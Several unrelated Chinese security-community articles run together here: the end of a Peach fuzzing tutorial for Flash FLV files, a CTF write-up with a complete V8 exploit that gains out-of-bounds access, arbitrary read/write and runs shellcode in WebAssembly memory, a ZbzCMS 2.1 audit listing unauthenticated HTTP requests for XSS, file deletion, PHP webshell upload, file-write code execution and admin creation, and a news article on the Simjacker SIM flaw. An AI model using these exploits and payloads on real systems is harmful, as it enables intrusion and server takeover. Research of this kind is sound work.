<Blob name="data1" lengthType="calc" length="int(self.find('datasize1').getInternalValue())-2"/>
</Block>
<Block>
<Relation type="when" when="int(self.find('Flag3.fmt').getInternalValue()) != 10"/>
<Blob name="data1" lengthType="calc" length="int(self.find('datasize1').getInternalValue())-1"/>
</Block>
<Number name="lastsize" size="32" endian="big" signed="false"/>
</Block>
**4.这部分是video tag的部分的编写**
先来看一下video tag的结构
模板中的代码如下：
UINT type : 8;
UINT datasize : 24;
UINT timestamp : 24;
UINT timestamphi : 8;
UINT streamid : 24;
taglen = datasize - 1;
Printf("tag length: %xn",taglen);
...
...
else if(type==9)//video
{
UINT frmtype : 4;
UINT codecid : 4;
if(codecid==7)
{
taglen -= 4;
UINT pkttype : 8;
UINT compotime : 24;
}
}
我们结合两者，得到xml如下：
<Block name="video">
<Number name="type" size="8" signed="false" endian="big" value="9" token="true" mutable="false"/>
<Number name="datasize2" size="24" endian="big" signed="false"/>
<Number name="timestamp" size="24" endian="big" signed="false"/>
<Number name="timestampi" size="8" endian="big" signed="false"/>
<Number name="streamid" size="24" endian="big" signed="false"/>
<Flags name="Flag2" size="8">
<Flag name="frmtype" position="0" size="4"/>
<Flag name="codecid" position="4" size="4"/>
</Flags>
<Block>
<Relation type="when" when="int(self.find('Flag2.codecid').getInternalValue()) == 7"/>
<Blob name="pkttype" length="1"/>
<Blob name="compotime" length="3"/>
<Blob name="data" lengthType="calc" length="int(self.find('datasize2').getInternalValue())-5"/>
</Block>
<Block>
<Relation type="when" when="int(self.find('Flag2.codecid').getInternalValue()) != 7"/>
<Blob name="data" lengthType="calc" length="int(self.find('datasize2').getInternalValue())-1"/>
</Block>
<Number name="lastsize" size="32" endian="big" signed="false"/>
</Block>
**0x05: swf加载样本**
现在，pit file搞定了，下面就是swf了~
使用as语言编写的代码，编译后得到swf文件
package
{
import flash.display.Sprite;
import flash.net.*;
import flash.media.*;
import flash.utils.*;
import flash.display.*
import flash.events.*;
import flash.system.fscommand;
import flash.display3D.textures.VideoTexture;
public class Main extends Sprite
{
public function Main():void
{
var video:Video;
var netCon:NetConnection;
var stream:NetStream;
function loadVideo(url:String):Video
{
video = new Video();
netCon = new NetConnection();
netCon.connect(null);
stream = new NetStream(netCon);
stream.play(url);
var client:Object = new Object();
client.onMetaData = onMetaEvent;
stream.client = client;
stream.addEventListener(NetStatusEvent.NET_STATUS, netStatus);
video.attachNetStream(stream);
return video;
}
function onMetaEvent(e:Object):void
{
}
function netStatus(e:NetStatusEvent):void
{
video.width = stage.stageWidth;
video.height = stage.stageHeight;
}
stage.addChild(loadVideo("fuzz.flv"));
}
}
}
**0x06: 自动化fuzz脚本**
我这里只使用peach生成了样本，并没有使用peach的Run Block。剩下的fuzz的工作，是我自己写脚本搞定的。
核心部分的代码如下。
def run(fileID):
copyFile(fileID)
subprocess.Popen(runCmd)
#sleep(2)
checkCrash()
#sleep(1)
clean()
首先会拷贝一个样本文件到工作目录
def copyFile(fileID):
shutil.copyfile(fileDict.get(fileID),workDir+"fuzz.flv")
然后开始一轮的fuzz
fuzzFilename = "fuzz.swf"
programName = "flashplayer_22_sa_debug.exe"
runCmd = programName +" "+ fuzzFilename
subprocess.Popen(runCmd)
然后是异常检测(不优雅的方法…TAT)
def checkCrash():
winDbg = "windbg.exe"
#get process list
try:
processList = psutil.process_iter()
except Exception as e:
print e
for p in processList:
if(p.name == winDbg):
print "[#]Crash Found! Writing to log now ..."
log(fileID)
sleep(1)
p.kill()
else:
pass
最后就是收尾的工作了
def clean():
subprocess.Popen(killProgram)#kill programName for next one
sleep(1)
if(os.path.exists(workDir+"fuzz.flv")):
os.remove(workDir+"fuzz.flv")
**0x07: 结束语**
我这个东西只能叫toy吧，效率低下，简单粗暴。但是过程中是学习到不少东西，之后的打算是多看一些论文，多学习一些漏洞挖掘的方法，之前尝试了结合winafl来搞，不过问题很多，有待解决…慢慢来吧，欢迎有兴趣的同学一起交流~
所有的东西我都丢github了，有啥错误欢迎各位师傅留言或者邮件o0xmuhe#gmail.com联系我 传送门在这里：[fuzz with
peach](https://github.com/o0xmuhe/filefmt_fuzz_with_peach)。
**0x08: 参考**
[【原创】文件Fuzz教程之一：Peach语法介绍](http://bbs.pediy.com/showthread.php?t=176416)
[flv文件格式详解](http://blog.useasp.net/archive/2016/02/28/The-flv-video-file-format-specification-version-10-1.aspx)
[peach 文档](http://www.peachfuzzer.com/resources/peachcommunity/)
[Fuzzing with Peach – Part 1 « Flinkd!](http://www.flinkd.org/2011/07/fuzzing-with-peach-part-1/) | 社区文章 |
## Intro: 一道 Realworld Browser Writeup
## 写在前面
这道 `Realworld pwn` 出现在数字经济云安全的线下赛。
## Patch
关键的 `Patch` 如下：
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index e6ab965a7e..9e5eb73c34 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -362,6 +362,36 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
}
} // namespace
+// Vulnerability is here
+// You can't use this vulnerability in Debug Build :)
+BUILTIN(ArrayCoin) {
+ uint32_t len = args.length();
+ if (len != 3) {
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+
+ Handle<Object> value;
+ Handle<Object> length;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, length, Object::ToNumber(isolate, args.at<Object>(1)));
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(2)));
+
+ uint32_t array_length = static_cast<uint32_t>(array->length().Number());
+ if(37 < array_length){
+ elements.set(37, value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+ else{
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
+
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
Handle<Object> receiver = args.receiver();
可以看到，注册了一个 `builtin` 函数名为 `array.coin(length,value)` ，如果 `array` 长度超过 `37` 就将
`array.element[37]` 赋值为 `value`；
## Trigger OOB
## First Try
关键的点在于 `Object::ToNumber` ，该函数可以通过`valueOf` 触发 `callback` 回调，回调函数可以通过对
`array.length` 的赋值来重新分配内存空间。然而，`array` 以及 `element` 均在执行回调之前就已经保存在局部变量中，后续在对
`element` 的赋值时也直接采用的是该局部变量，因此我们得到了一个 `UAF` ，并且可以这样利用：通过在 `Callback` 中扩大
`Array` 的 `length` 来强制 `GC` 重新 `alloc` ，之后通过分配巨量的 `array` 来占位原 `array`
的地址空间，最后通过 `elements.set(37, value->Number())` 来达到对原内存内容的修改。倘若我们修改的内存恰好是新占位
`array` 的 `length` 字段，那我们就得到了一个 `OOB` 数组。
var Globarr=[]
function demo(){
var length = {
valueOf:function(){
return 20000000000000
}
};
var val= {
valueOf:function(){
array.length=1000;
// force GC realloc this array, but we still
// have one reference to this memory in the Patch
for(var i=0;i<1000-13;i++){
new Array(100);
}
for(var i=0;i<10;i++){
Globarr[i]=new Array(37)
}
return 999999999999999
}
}
let array=[];
array.length=50;
array.coin(length,val);
for(var i=5;i<10;i++){
%DebugPrint(Globarr[i]);
}
}
demo()
然而，一个很严重的问题是，由于 `v8` 的 `gc` 的特殊性，并不会像 `glibc`
一样有内存缓存机制，因此，每次占到原来的地址的时候其实都跨越了若干内存页，每一个偏移都与要精准定位调试，因此可复现率基本为 `0`
。我在一番艰难的调试之后，终于得到了一个 `OOB` 数组：
就在我以为我可以进一步开发 `exploit` 的时候，问题出现了：由于采用的是这种喷内存的方式，因此对内存状态的依赖度很高。但是实际上， `V8` 在
`Read code` 以及 `parse code` 的时候都是需要占用内存的，因此添加任何一句代码都会改变内存布局从而导致 `oob`
数组的消失。我没有其他姿势利用这个思路，麻烦知道如何处理内存问题的大佬戳我一下我去加您。
## Second Try
分析 `patch` 的时候忽略了一个重要的问题，就是判断 `37 < array_length` 的时候，`array_length` 的值取在
`callback` 之后，也就意味着一开始分配的 `array` 可以很小，然后再 `callback` 内扩大 `length` ，一样可以绕过检查：
var val= {
valueOf:function(){
array.length = 0x100
return 999999999999999
}
}
let array=[];
array.length=34;
array.coin(length,val);
成功绕过。进一步构思，由于 `v8` 的内存分配具有连续性，因此，如果再 `callback` 内分配了一个新 `array_new`
，`array_new` 会直接分配在原 `array` 的后面。倘若原 `array.element[37]` 的位置存放的是 `array_new` 的
`length` ,那我们就可以直接达到 `oob` ，而且只需要分配两次 `array` 。
var val= {
valueOf:function(){
victim=new Array(12)
array.length = 0x100
return 999999999999999
}
}
let array=[];
array.length=34;
array.coin(length,val);
console.log("[+] Int_Victim array length is changed to :"+victim.length);
进一步转为 `Float`类型的 `oob`：
var val= {
valueOf:function(){
victim=new Array(12)
array.length = 0x100
float_victim=new Array(0x10)
float_victim[0]=1.1
return 999999999999999
}
}
let array=[];
array.length=34;
array.coin(length,val);
console.log("[+] Int_Victim array length is changed to :"+victim.length);
victim[273]=0x10000;//change the float arraylength
console.log("[+] Float_Victim(OOBARR) array length is changed to :"+float_victim.length)
这里十分感谢队友姚敏的提醒。
## Exploit
后面的工作就比较寻常了，这里是完整的 exploit：
function hex(b) {
return ('0' + b.toString(16)).substr(-2);
}
// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
var res = [];
for (var i = 0; i < bytes.length; i++)
res.push(hex(bytes[i]));
return res.join('');
}
// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
if (hexstr.length % 2 == 1)
throw new TypeError("Invalid hex string");
var bytes = new Uint8Array(hexstr.length / 2);
for (var i = 0; i < hexstr.length; i += 2)
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
return bytes;
}
function hexdump(data) {
if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
data = Array.from(data);
var lines = [];
for (var i = 0; i < data.length; i += 16) {
var chunk = data.slice(i, i+16);
var parts = chunk.map(hex);
if (parts.length > 8)
parts.splice(8, 0, ' ');
lines.push(parts.join(' '));
}
return lines.join('\n');
}
// Simplified version of the similarly named python module.
var Struct = (function() {
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
var buffer = new ArrayBuffer(8);
var byteView = new Uint8Array(buffer);
var uint32View = new Uint32Array(buffer);
var float64View = new Float64Array(buffer);
return {
pack: function(type, value) {
var view = type; // See below
view[0] = value;
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
},
unpack: function(type, bytes) {
if (bytes.length !== type.BYTES_PER_ELEMENT)
throw Error("Invalid bytearray");
var view = type; // See below
byteView.set(bytes);
return view[0];
},
// Available types.
int8: byteView,
int32: uint32View,
float64: float64View
};
})();
//
// Tiny module that provides big (64bit) integers.
//
// Copyright (c) 2016 Samuel Groß
//
// Requires utils.js
//
// Datatype to represent 64-bit integers.
//
// Internally, the integer is stored as a Uint8Array in little endian byte order.
function Int64(v) {
// The underlying byte array.
var bytes = new Uint8Array(8);
switch (typeof v) {
case 'number':
v = '0x' + Math.floor(v).toString(16);
case 'string':
if (v.startsWith('0x'))
v = v.substr(2);
if (v.length % 2 == 1)
v = '0' + v;
var bigEndian = unhexlify(v, 8);
bytes.set(Array.from(bigEndian).reverse());
break;
case 'object':
if (v instanceof Int64) {
bytes.set(v.bytes());
} else {
if (v.length != 8)
throw TypeError("Array must have excactly 8 elements.");
bytes.set(v);
}
break;
case 'undefined':
break;
default:
throw TypeError("Int64 constructor requires an argument.");
}
// Return a double whith the same underlying bit representation.
this.asDouble = function() {
// Check for NaN
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
throw new RangeError("Integer can not be represented by a double");
return Struct.unpack(Struct.float64, bytes);
};
// Return a javascript value with the same underlying bit representation.
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
// due to double conversion constraints.
this.asJSValue = function() {
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
throw new RangeError("Integer can not be represented by a JSValue");
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
this.assignSub(this, 0x1000000000000);
var res = Struct.unpack(Struct.float64, bytes);
this.assignAdd(this, 0x1000000000000);
return res;
};
// Return the underlying bytes of this number as array.
this.bytes = function() {
return Array.from(bytes);
};
// Return the byte at the given index.
this.byteAt = function(i) {
return bytes[i];
};
// Return the value of this number as unsigned hex string.
this.toString = function() {
return '0x' + hexlify(Array.from(bytes).reverse());
};
// Basic arithmetic.
// These functions assign the result of the computation to their 'this' object.
// Decorator for Int64 instance operations. Takes care
// of converting arguments to Int64 instances if required.
function operation(f, nargs) {
return function() {
if (arguments.length != nargs)
throw Error("Not enough arguments for function " + f.name);
for (var i = 0; i < arguments.length; i++)
if (!(arguments[i] instanceof Int64))
arguments[i] = new Int64(arguments[i]);
return f.apply(this, arguments);
};
}
// this = -n (two's complement)
this.assignNeg = operation(function neg(n) {
for (var i = 0; i < 8; i++)
bytes[i] = ~n.byteAt(i);
return this.assignAdd(this, Int64.One);
}, 1);
// this = a + b
this.assignAdd = operation(function add(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) + b.byteAt(i) + carry;
carry = cur > 0xff | 0;
bytes[i] = cur;
}
return this;
}, 2);
// this = a - b
this.assignSub = operation(function sub(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) - b.byteAt(i) - carry;
carry = cur < 0 | 0;
bytes[i] = cur;
}
return this;
}, 2);
}
// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function(d) {
var bytes = Struct.pack(Struct.float64, d);
return new Int64(bytes);
};
// Return -n (two's complement)
function Neg(n) {
return (new Int64()).assignNeg(n);
}
// Return a + b
function Add(a, b) {
return (new Int64()).assignAdd(a, b);
}
// Return a - b
function Sub(a, b) {
return (new Int64()).assignSub(a, b);
}
// Some commonly used numbers.
Int64.Zero = new Int64(0);
Int64.One = new Int64(1);
let victimobj_obj_offset_of_OOBARR=0
let victimbuf_backingstore_pointer_offset_of_OOBARR=0
function exploit(){
let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});
let f = wasm_mod.exports._Z3addii;
var length = {
valueOf:function(){
return 20000000000000
}
};
var val= {
valueOf:function(){
victim=new Array(12)
array.length = 0x100
float_victim=new Array(0x10)
float_victim[0]=1.1
return 999999999999999
}
}
let array=[];
array.length=34;
array.coin(length,val);
console.log("[+] Int_Victim array length is changed to :"+victim.length);
victim[273]=0x10000;//change the float arraylength
//let array00= new Array(100)
console.log("[+] Float_Victim(OOBARR) array length is changed to :"+float_victim.length)
var vicobj={marker: 1111222233334444, obj: {}}
var victimbuffer=new ArrayBuffer(0x41);
// %DebugPrint(victimbuffer);
//%SystemBreak();
//%DebugPrint(vicobj.obj)
for (let i = 0; i < 100; i++) {
let val = Int64.fromDouble(float_victim[i]).toString();
//console.log(val)
if (val === "0x430f9534b3e01560") {
//change the value to distinguish from front objs'flag
float_victim[i] = (new Int64("4242424200000000")).asDouble();
victimobj_obj_offset_of_OOBARR = i -8;
console.log("[+] VictimObj.obj's offset of OOBARR = ",victimobj_obj_offset_of_OOBARR.toString(16))
}
}
for (let i = 0; i < 100; i++) {
let val = Int64.fromDouble(float_victim[i]).toString();
//size as flag
if (val === "0x0000000000000041") {
float_victim[i] = (new Int64("0x0000000000999941")).asDouble();
victimbuf_backingstore_pointer_offset_of_OOBARR = i + 1;
console.log("[+] VictimBuf's backing store pointer's offset of OOBARR = ",victimbuf_backingstore_pointer_offset_of_OOBARR.toString(16))
}
}
function addrof(obj){
if(vicobj!==null){
vicobj.obj=obj;
return Int64.fromDouble(float_victim[victimobj_obj_offset_of_OOBARR])
}
}
function read(addr,size){
if(addr!==undefined){
float_victim[victimbuf_backingstore_pointer_offset_of_OOBARR]=addr.asDouble();
let a = new Uint8Array(victimbuffer, 0, size);
return Array.from(a);
}
}
function write(addr, bytes) {
if(addr!==undefined){
float_victim[victimbuf_backingstore_pointer_offset_of_OOBARR] = addr.asDouble();
console.log("[+] The target Write addr = ",Int64.fromDouble(float_victim[victimbuf_backingstore_pointer_offset_of_OOBARR]))
let a = new Uint8Array(victimbuffer);
//%DebugPrint(victimbuffer);
//%SystemBreak()
//console.log(a.byteLength)
a.set(bytes);
}
}
function read8(addr) {
float_victim[victimbuf_backingstore_pointer_offset_of_OOBARR] = addr.asDouble();
var v = new Float64Array(victimbuffer, 0, 8);
return Int64.fromDouble(v[0]);
}
var test=new Array();
//%DebugPrint(f);
addr=Add(addrof(f),0x18-1)
addr=read8(addr);
console.log("[+] SharedFunctionInfo : "+addr);
addr=Add(addr,0x8-1)
addr=read8(addr);
console.log("[+] WasmExportedFunctionData : "+addr);
addr=Add(addr,0x10-1)
addr=read8(addr);
console.log("[+] Instance : "+addr);
addr=Add(addr,0x80-1)
addr=read8(addr);
console.log("[+] rwx addr : "+addr);
let shellcode = [0x90,0x90,0x31,0xc0,0x48,0xbb,0xd1,0x9d,0x96,0x91,0xd0,0x8c,0x97,0xff,0x48,0xf7,0xdb,0x53,0x54,0x5f,0x99,0x52,0x57,0x54,0x5e,0xb0,0x3b,0x0f,0x05];
let calc=
[0x48,0x31,0xc9,0x48,0x81,0xe9,0xf7,0xff,0xff,0xff,0x48,0x8d,0x05,0xef,0xff,0xff,0xff,0x48,0xbb,0x09,0x69,0x71,0x6e,0x44,0x85,0x88,0x7d,0x48,0x31,0x58,0x27,0x48,0x2d,0xf8,0xff,0xff,0xff,0xe2,0xf4,0x63,0x52,0x29,0xf7,0x0c,0x3e,0xa7,0x1f,0x60,0x07,0x5e,0x1d,0x2c,0x85,0xdb,0x35,0x80,0x8e,0x19,0x43,0x27,0x85,0x88,0x35,0x80,0x8f,0x23,0x86,0x5f,0x85,0x88,0x7d,0x6c,0x11,0x01,0x01,0x36,0xf1,0xa8,0x39,0x40,0x3a,0x21,0x22,0x05,0xdc,0xb5,0x47,0x39,0x47,0x41,0x48,0x62,0xfd,0xeb,0x1c,0x65,0x0a,0x71,0x38,0x13,0xcd,0x01,0x9b,0x06,0x6c,0x71,0x6e,0x44,0x85,0x88,0x7d]
write(Sub(addr,0), calc);
console.log("[+] Running shellcode...")
f();
}
exploit() | 社区文章 |
# ZbzCMS 2.1代码审计
## 0x00 前言
这套系统漏洞百出,只能说开发祭天,法力无边.
源码Download: <https://pan.baidu.com/s/1DOFYZKdTAlpPiZ-MwEVXFw>
使用工具:Seay源代码审计系统,Nodepad++,Phpstudy
## 0x01 存储型 XSS
定位到一处存储Xss:
**/cms/common/php/ajax.php**
构造Payload：
POST /cms/common/php/ajax.php?run=liuyan HTTP/1.1
Host: x.x.x.x
Connection: keep-alive
Content-Length: 105
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://x.x.x.x/cms/common/php/ajax.php?run=liuyan
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
diaoyongbiaoqian=hacker&neirong=<script>alert("what the hack")</script>&leixing=1.1.1.1
后台查看：
## 0x02 前台任意文件删除
定位到一处文件删除操作.
并且没有鉴权操作:
很简单的构造 不多说什么....... 可以配合重装漏洞Getshell
构造Payload :
POST /cms/cms/include/up.php?run=del HTTP/1.1
url=../../../ddd.jpg
## 0x03 前台任意文件上传
### 上传点1
定位到一处文件上传.
Payload:
POST /cms/cms/include/up.php?run=file&path=../../../&filename=1 HTTP/1.1
Host: xxx
Connection: keep-alive
Content-Length: 211
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryU9A5BBZeovUxg3UP
Origin: http://xxx
Referer: http://xxx/cms/cms/admin/wenjian.php?path=../../..
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
------WebKitFormBoundaryU9A5BBZeovUxg3UP
Content-Disposition: form-data; name="0"; filename="info.php"
Content-Type: application/octet-stream
<?php phpinfo();?>
------WebKitFormBoundaryU9A5BBZe
### 上传点2
**/cms/cms/zbzedit/php/zbz.php**
定义了一堆参数 并且没有进行鉴权操作 直接可导致任意文件上传Getshell
Payload:
POST /cms/cms/zbzedit/php/zbz.php?run=uptxt&path=../../../&path_res=../../&data_pic_name=1 HTTP/1.1
Host: x.x.x.x
Connection: keep-alive
Content-Length: 234
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://x.x.x.x/cms/cms/zbzedit/php/zbz.php?run=uptxt&path=../../../&path_res=../../&data_pic_name=0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
------WebKitFormBoundaryol3qy7YKEOE2tHFq
Content-Disposition: form-data; name="0"; filename="poc.php"
Content-Type: text/plain
<?php system("whoami");?>
------WebKitFormBoundaryol3qy7YKEOE2tHFq--
上传即会给出路径，其中参数 **data_pic_name=0** 改名 **data_pic_name=1** 文件原名
### 上传点3
**/cms/cms/admin/ajax.php** 一样的未授权文件上传(不过这里不能控制改名.)
Payload:
POST /cms/cms/admin/ajax.php?run=youad_pic HTTP/1.1
Host: x.x.x.x
Connection: keep-alive
Content-Length: 196
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryMnkzsdthG7uKREBW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://x.x.x.x/cms/cms/admin/ajax.php?run=youad_pic
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
------WebKitFormBoundary0saNPreA1a0CHrrt
Content-Disposition: form-data; name="1"; filename="ccc.php"
Content-Type: text/plain
<?php phpinfo();?>
------WebKitFormBoundary0saNPreA1a0CHrrt--
## 0x04 前台未授权RCE
**/cms/cms/admin/run_ajax.php** 第461-470行 文件编辑保存操作
传入Path neirong参数即可构成任意文件读写/创建操作
Payload (写到根目录/ddd.php):
POST /cms/cms/admin/run_ajax.php?run=wenjian_edit HTTP/1.1
path=../../../ddd.php&neirong=<?php phpinfo();?>
## 0x05 前台未授权添加管理员
这里看到一处操作(管理员添加编辑):
Payload :
POST /cms/cms/admin/run_ajax.php?run=admin HTTP/1.1
mima=123456&guanliyuan=hack
然后是登录不上后台的(等级不够),这里再通过Login函数创造 **Sessions**.
POST /cms/cms/admin/run_ajax.php?run=login HTTP/1.1
guanliyuan=hack&pwd=123456
刷新即可登录后台.
## 0x06 前台Mysql盲注
### 注入点1
对代码进行复审，即手工二次审计，发现 **/cms/common/php/ajax.php** 存在SQL注入.
传入id参数即可构成查询 注入.
一把梭 **sqlmap -u
"[http://xxx/cms/common/php/ajax.php?run=ad&id=3](http://xxx/cms/common/php/ajax.php?run=ad&id=3)"
-p id**
### 注入点2
发现 **/cms/cms/include/make.php** 存在布尔盲注,时间盲注.
一把梭+ **sqlmap -u
"[http://xxx/cms/cms/include/make.php?t=1&php=2&art=2](http://xxx/cms/cms/include/make.php?t=1&php=2&art=2)"
-p art** | 社区文章 |
# 仅一条短信就可以劫持你的手机
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
漏洞无处不在，没有一个系统是天衣无缝的。
【导读】几天前，国外某安全公司研究人员告警称：SIM卡被发现存在严重漏洞，远程攻击者可利用漏洞在用户不知情的情况下发送短信，攻击目标手机，监控跟踪受害者。据悉，全球或有超10
亿手机用户会受危害。目前，事件还在持续发酵，而针对该事件，智库提取了几个关键点希望引起各方重视。此外，还需引发高度重视的是：早在2015年，就已有媒体曝出：NSA已入侵全球手机SIM卡。
上周四，国外某安全公司发布一份重要报告称，攻击者利用Simjacker漏洞可以向目标用户手机发送一条短信，短信中包含一种特定类型的类似间谍软件的代码，通过此便可远程控制SIM卡发出命令，控制手机，从而进一步检索并执行敏感命令。以上攻击行为无需用户接触，可以说是在秘密中、沉默中完成的。必须提一下的是，这一漏洞存在于被称为
S@T的浏览器中。
S@T浏览器是SIMalliance Toolbox Browser的缩写，作为GSM
普遍使用的手机应用工具包(STK)的一部分，它嵌入大多数手机SIM卡中，为客户提供增值服务。
重点在于：S@T浏览器包含一系列STK指令，如发送短消息、设置调用、启动浏览器、提供本地数据、按命令运行和发送数据。所以，攻击者只需通过向设备发送SMS即可触发攻击，通过软件提供的执行环境，在手机上运行恶意命令，监控跟踪目标用户。
## “暴击之弹”五连发 SIM漏洞“火力”不容小觑
为更清晰明了地展示Simjacker漏洞的强势“火力”，智库将此次攻击亮点及其影响归纳总结为以下五点：
暴击一：携完整恶意软件载荷而来，攻击独一无二
在报告中，研究人员用“独一无二”来形容此次攻击。Simjacker攻击形式在逻辑上可归类为可携带完整的恶意软件载荷，特别是间谍软件。因为它包含SIM卡要执行的指令列表。
暴击二：不止于盗取用户位置，攻击方式持续扩大
虽然此次攻击主要是盗取手机用户的位置，但检测中发现，攻击者已在试验其他类型。据悉，现在攻击范围已扩大到欺诈、诈骗电话、信息泄露、拒绝服务攻击，甚至是间谍活动等。
暴击三：利用程序与设备无关，配备SIM卡都具风险
同时，该漏洞利用程序也与设备无关，几乎涉及所有制造商，包括Apple、中兴通讯、摩托罗拉、三星、谷歌、华为，甚至是带有SIM卡的物联网设备等。
暴击四：针对性强，可广泛追踪使用
而在攻击时机与目标上，研究人员透露，攻击每时每刻都在发生，目标更聚焦在某几个国家的电话号码中。据介绍，在7
天的时间里，有几个电话号码被追踪了数百次。这意味着，此次攻击更具持续性与针对性。
“在一个国家，我们看到每天大约有100-150个特定的个人电话号码被Simjacker攻击，有时候甚至高达300个”。该研究人员讲到。
暴击五：30个国家、10亿用户或受威胁
由于全球至少有 30 个国家的移动运营商在使用 S@T 浏览器技术，总人数超过 10 亿。所以，这也意味着，或有逾10 亿手机用户将会受到此次事件影响。
## 网络战“魔爪”无孔不入 移动安全领域正被“侵染”
Simjacker漏洞一来，便以“五连发之势”发动猛攻，再次回观这五大“火力”之时——携完整恶意软件载荷而来，攻击目标兼具针对性与持续性，攻击类型持续扩大，攻击设备牵扯范围之广，我们不禁要问：如此“缜密”的“军火”，岂是一时兴起之作？这很难不让人与国家级网军、网络战联系到一起。
果然，在这份披露的报告中已显示：与某政府合作的一家特定私营公司正在积极利用SimJacker漏洞，并且至少在过去两年中对多个国家和地区(主要在中东，北非，亚洲和东欧)的移动电话用户进行有针对性的监控。可以说，这家未透露姓名的私人公司一直在利用这一漏洞帮助政府监视一些特定人群，追踪一直持续到今天。
同时，在多方报道中，我们发现有一个一致的结论，即：Simjacker攻击的出现意味着移动运营商的攻击者已在新的攻击技术上投入了大量资金，而这种新的投资和技能组合意味着“移动核心领域”将面临更加复杂的攻击，网络战的“魔爪”已无孔不入的在向其侵染。
## 斯诺登早年释放猛料 NSA已入侵全球手机SIM卡
然而，更令人恐怖的是，某些“大国”对全球手机卡的入侵比我们想象的要早，全球网络战的布局早已渗透。
2015年，美国独立新闻网站The Intercept
就曾披露了一份令人震惊的文档，该文档由斯诺登提供，文档中详细介绍了美国和英国的情报人员如何黑进了著名SIM卡制造商Gemalto（金雅拓）并窃取了保护用户通话信息的关键性密匙。
金雅拓公司（Gemalto）是全球最大的手机SIM卡生产厂商，除了手机与平板电脑的SIM卡，该公司还制造信用卡与生物识别护照的“加密芯片卡”，一年的生产量约20亿张。金雅拓公司在全球85个国家都有业务，其客户包括AT&T、T-Mobile、威瑞森通信（Verizon）、Sprint、沃达丰（Vodafone）在内的世界各地大约450家无线网络服务供应商。
入侵行动由美国国家安全局（NSA）和英国政府通信总部（GCHQ）联手实施，并记录在2010年的文档中。该入侵行动令NSA和GCHQ有可能监听全球各地大部分手机通讯，包括电话语音通讯以及数据的传输。
事件曝出后，美国科技媒体网站The
